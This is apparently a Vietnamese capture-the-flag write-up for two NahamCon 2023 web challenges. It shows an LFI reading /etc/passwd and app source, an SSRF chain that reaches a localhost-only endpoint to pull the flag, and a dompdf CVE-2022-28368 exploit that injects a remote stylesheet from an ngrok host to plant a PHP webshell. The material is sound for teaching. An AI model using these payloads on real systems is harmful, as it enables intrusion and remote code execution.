NamhamconCTF2023 - webx2

4 minute read

Namhamcon CTF 2023 Web challenge

MUSEUM

Phân tích

Hình chung giao diện vẫn như vậy không có gì thay đổi. Mình thấy giao diện có 2 chức năng chính:

  • một chức năng cho phép submit gì đó, mình đoán là submit ảnh.
  • xem ảnh cũ

khi xem ảnh thì mình tìm thấy lỗi LFI: http://challenge.nahamcon.com:30548/browse?artifact=angwy.jpg http://challenge.nahamcon.com:30548/browse?artifact=/./etc/passwd

oke. có thể thấy được có một user là museum ở đây. ta đã biết trước đó, ứng dụng web này sử dụng Flask. trước mắt thì mình muốn biết source code của ứng dụng web đã vì chức năng submit public vẫn còn đang bị chặn mà mình không hiểu lý do.

thử đọc flag. có lẽ chuỗi flag.txt đã bị chặn

mình đọc file /proc/self/cmdline để biết lệnh đang được run.

source code ứng dụng web.

from flask import Flask, request, render_template, send_from_directory, send_file, redirect, url_for
import os
import urllib
import urllib.request

app = Flask(__name__)

@app.route('/')
def index():
    artifacts = os.listdir(os.path.join(os.getcwd(), 'public'))
    return render_template('index.html', artifacts=artifacts)

@app.route("/public/<file_name>")
def public_sendfile(file_name):
    file_path = os.path.join(os.getcwd(), "public", file_name)
    if not os.path.isfile(file_path):
        return "Error retrieving file", 404
    return send_file(file_path)

@app.route('/browse', methods=['GET'])
def browse():
    file_name = request.args.get('artifact')

    if not file_name:
        return "Please specify the artifact to view.", 400

    artifact_error = "<h1>Artifact not found.</h1>"

    if ".." in file_name:
        return artifact_error, 404

    if file_name[0] == '/' and file_name[1].isalpha():
        return artifact_error, 404
    
    file_path = os.path.join(os.getcwd(), "public", file_name)
    if not os.path.isfile(file_path):
        return artifact_error, 404

    if 'flag.txt' in file_path:
        return "Sorry, sensitive artifacts are not made visible to the public!", 404

    with open(file_path, 'rb') as f:
        data = f.read()

    image_types = ['jpg', 'png', 'gif', 'jpeg']
    if any(file_name.lower().endswith("." + image_type) for image_type in image_types):
        is_image = True
    else:
        is_image = False

    return render_template('view.html', data=data, filename=file_name, is_image=is_image)

@app.route('/submit')
def submit():
    return render_template('submit.html')

@app.route('/private_submission_fetch', methods=['GET'])
def private_submission_fetch():
    url = request.args.get('url')

    if not url:
        return "URL is required.", 400

    response = submission_fetch(url)
    return response

def submission_fetch(url, filename=None):
    return urllib.request.urlretrieve(url, filename=filename)

@app.route('/private_submission')
def private_submission():
    if request.remote_addr != '127.0.0.1':
        return redirect(url_for('submit'))

    url = request.args.get('url')
    file_name = request.args.get('filename')

    if not url or not file_name:
        return "Please specify a URL and a file name.", 400

    try:
        submission_fetch(url, os.path.join(os.getcwd(), 'public', file_name))
    except Exception as e:
        return str(e), 500

    return "Submission received.", 200

if __name__ == '__main__':
    app.run(debug=False, host="0.0.0.0", port=5000)

Phân tích source code

đúng như mình nghĩ chuỗi flag.txt bị lọc.

Khi một yêu cầu GET được gửi đến ‘/private_submission_fetch’, hàm private_submission_fetch() được gọi. Đầu tiên, nó lấy giá trị của tham số ‘url’ từ yêu cầu GET bằng cách sử dụng request.args.get(‘url’). Nếu không tìm thấy giá trị ‘url’, nó sẽ trả về một thông báo lỗi “URL is required.” với mã trạng thái HTTP 400 (Bad Request).

Nếu giá trị ‘url’ được truyền vào, hàm submission_fetch() được gọi với ‘url’ làm đối số. Hàm này sử dụng thư viện urllib trong Python để tải xuống tệp từ ‘url’. Kết quả của hàm submission_fetch() được trả về từ phương thức ‘private_submission_fetch()’ và trả về cho người dùng.

Tóm lại, khi một yêu cầu GET được gửi đến ‘/private_submission_fetch’ với tham số ‘url’, ứng dụng web này sẽ tải xuống tệp từ ‘url’ và trả về nội dung tệp đó cho người dùng.

thử fetch tới burp colab: http://challenge.nahamcon.com:30299/private_submission_fetch?url=http://jj62x6bfitogrjakg8s6nmcqwh28qyen.oastify.com server trả về kết quả Internal Server Error nhưng vẫn có request tới colab nhưng điều này không giúp ta đọc được nội dung của file.

chúng ta cần kết hợp cả 2 phần này để khai thác.

hàm submission_fetch() được sử dụng để tải xuống một tệp từ một đường dẫn URL cung cấp và trả về kết quả tải xuống đó.

def submission_fetch(url, filename=None):
    return urllib.request.urlretrieve(url, filename=filename)

path /private_submission cho phép chúng ta tải xuống một file tuy nhiên request phải từ localhost mới có thể thực hiện. ta có thể bypass nó bằng cách sử dụng SSRF

Solution

tổng hợp lại mình có payload như sau: mình sẽ sử dụng: http://challenge.nahamcon.com:30299/private_submission_fetch?url=http://127.0.0.1:5000/private_submission?url=file:///flag.txt%26filename=test.txt

upload thành công:

xem flag trong file test.txt

flag: flag{c3d727275bee25a40fae2d2d2fba9d70}

Stickers

Phân tích

ứng dụng web này có chức năng tạo pdf. trang chủ có một số đầu vào trông hơi lạ lạ.

mình thấy có một số vị trí có thể chèn

mình sẽ để một số tài liệu tham khảo ở đây: https://www.exploit-db.com/exploits/51270 https://github.com/rvizx/CVE-2022-28368

run PoC để lấy shell là được :100: bạn cũng có thể đọc lại cách phân tích CVE này ở nguồn khác để hiểu chi tiết.

Solution

endpoint là một trong 3 cái Qty, chèn vào cái nào cũng được.

tạo file exploit.css như này, thay đổi url phù hợp với contrainer của bạn:

thêm payload php vào cuối file exploit_font.php để tạo webshell. Như này: <?php system("$_GET['cmd']"); ?>

tạo server web font: php -S 0.0.0.0:9001

chèn payload để tải font css cho trình tạo pdf: <link rel=stylesheet href='https://282e-104-28-254-74.ngrok-free.app/exploit.css'>

fullpaylod: http://challenge.nahamcon.com:31335/quote.php?organisation=test&email=admin%40gmail.com&small=4%3Clink%20rel=stylesheet%20href=%27https://282e-104-28-254-74.ngrok-free.app/exploit.css%27%3E&medium=4&large=4

tên file sẽ được hash bằng md5 và nối với tên font css và weight css như sau:

exploitfont_normal_<linkcsshash>
tạo hash:

echo -n http://challenge.nahamcon.com:31335//exploit_font.php | md5sum

=> 068578d3364c1228150e9c8f8e7b8291

cuối cùng truy cập link: /dompdf/lib/fonts/exploitfont_normal_068578d3364c1228150e9c8f8e7b8291.php

ta sẽ có được webshell

Comments